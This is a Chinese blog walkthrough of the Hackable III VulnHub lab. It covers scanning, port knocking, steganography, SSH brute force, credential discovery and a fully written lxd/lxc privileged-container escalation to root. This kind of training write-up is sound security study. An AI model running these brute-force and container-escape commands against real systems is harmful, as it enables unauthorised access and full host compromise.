VulnHub日记(三): Hackable 3

靶机介绍


中等难度的ctf虚拟机

参考链接:

参考博客:https://nepcodex.com/2021/07/hackable-iii-walkthrough-vulnhub/

虚拟机链接:https://www.vulnhub.com/entry/hackable-iii,720/

lxd,lxc提权:https://www.freebuf.com/articles/system/216803.html

开始练习


本机ip:192.168.56.102

nmap扫出目的机ip:192.168.56.107

nmap -sS 192.168.56.0/24

扫描开启服务

nmap -A -p- 192.168.56.107

VulnHub日记(三): Hackable 3

扫描目录

dirsearch -e txt,php,html,flag,asp,aspx,bak,jpg,img,htm  -r -u http://192.168.56.107

VulnHub日记(三): Hackable 3

 VulnHub日记(三): Hackable 3

 VulnHub日记(三): Hackable 3

ssh为过滤状态,访问80端口,查看网页源码,发现提示,需要尝试上次日记中使用过的端口碰撞技术来解锁ssh端口,并且告诉老板approve .jpg(当时不太明白)

 VulnHub日记(三): Hackable 3

 

注释内容:
<!-- "Please, jubiscleudo, don't forget to activate the port knocking when exiting your section, and tell the boss not to forget to approve the .jpg file - dev_suport@hackable3.com" -->

查看可访问的目录,发现字典,应该可以用于爆破登录,寻找登录入口

VulnHub日记(三): Hackable 3

再次访问初始页面,查看源码,放大后发现隐藏的菜单按钮,打开登录页面,使用BP暴力破解用户名密码

VulnHub日记(三): Hackable 3

VulnHub日记(三): Hackable 3 第一次用户名和密码都用字典,没有结果,想到可能是之前提示代码中的”jubiscleudo“是用户名,开始尝试

VulnHub日记(三): Hackable 3

依旧没有结果,所以该字典应该是ssh的字典,但是发现登录后打开的是一个空的页面,查看原代码,发现是之前扫描到的”login.php“,基本动作就是连接数据库,从数据库中读取用户名密码信息,如果成功,就打开3.jpg,于是先下载3.jpg

VulnHub日记(三): Hackable 3

VulnHub日记(三): Hackable 3

查看之前扫描的目录,在”config.php“中发现数据库用户名密码等信息

VulnHub日记(三): Hackable 3

结合两个代码,我们获取了mysql的数据库名称和用户名密码 ,这个页面再没有更多想法了,则尝试登录ssh,则需要端口序列来使用knock解锁22端口,就想到了之前没有用到的1.txt和2.txt,觉得这两个应该是端口序列

VulnHub日记(三): Hackable 3

VulnHub日记(三): Hackable 3

看了一眼大佬的提示,用base64编码解码1.ttxt,使用Brainfuck解码2.txt

echo MTAwMDA= | base64 -d

VulnHub日记(三): Hackable 3

 Brainfuck的在线解码网站:http://ctf.ssleye.com/brain.htmlVulnHub日记(三): Hackable 3

 现在还缺少一个端口号,按照之前的文件名称想到了3.jpg,但是不知道怎么提取,于是查看提示,了解了这里使用了文件隐写,按照提示提取出端口,成功knock

steghide extract -sf 3.jpg
cat steganopayload148505.txt 

VulnHub日记(三): Hackable 3

knock 192.168.56.107 1000 4444 65535
nmap -A -p- 192.168.56.107 

 VulnHub日记(三): Hackable 3

使用之前注释里的用户名和获得的字典爆破

VulnHub日记(三): Hackable 3

 得到用户名密码 

VulnHub日记(三): Hackable 3

ssh -l jubiscleudo 192.168.56.107

VulnHub日记(三): Hackable 3查看user.txt

cat .user.txt

VulnHub日记(三): Hackable 3

进入sql失败,也没有发现本用户有特殊权限,返回上级目录,发现新用户名hackable_3

cd ../
id
ls -al

VulnHub日记(三): Hackable 3

逐个访问目录,在访问/var/www/html下有隐藏文件.back_config.php 

VulnHub日记(三): Hackable 3

打开后得到hackable_3密码 

 VulnHub日记(三): Hackable 3

切换用户,查看id和用户目录文件

id
cd /home/hackable_3
ls -al

VulnHub日记(三): Hackable 3

查看id后

VulnHub日记(三): Hackable 3

发现可以利用lxd,lxc提权

本机下载Alpine镜像

git clone  https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder

./build-alpine

生成.tar.gz文件,打开server服务,传输给目标机VulnHub日记(三): Hackable 3

python -m SimpleHTTPServer

VulnHub日记(三): Hackable 3

目标机获取镜像,将其以镜像的形式添加进LXD了

wget http://192.168.56.102:8000/alpine-v3.8-x86_64-20210805_0417.tar.gz
lxc image import ./alpine-v3.8-x86_64-20210805_0417.tar.gz --alias myimage
lxc image list
#.tar.gz文件是根据时间生成的,需要根据自己情况更改名称  --alias 后的名称也可以自己定义

VulnHub日记(三): Hackable 3

 初始化Container,否则在加载容器时会显示没有存储池

lxd init
一路回车

VulnHub日记(三): Hackable 3

执行如下命令,成功提权

lxc init myimage ignite -c security.privileged=true

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

lxc start ignite

lxc exec ignite /bin/sh

VulnHub日记(三): Hackable 3

获取flag 

cd /mnt/root/root
ls -al
cat root.txt

 VulnHub日记(三): Hackable 3

总结


线索较多,第一次使用lxc,lxd提权,Brainfuck编码,又一次用到了knock解锁端口

上一篇:Vulnhub之路Ⅰ——Lampiao(脏牛提权)


下一篇:Vulnhub靶场渗透-theEther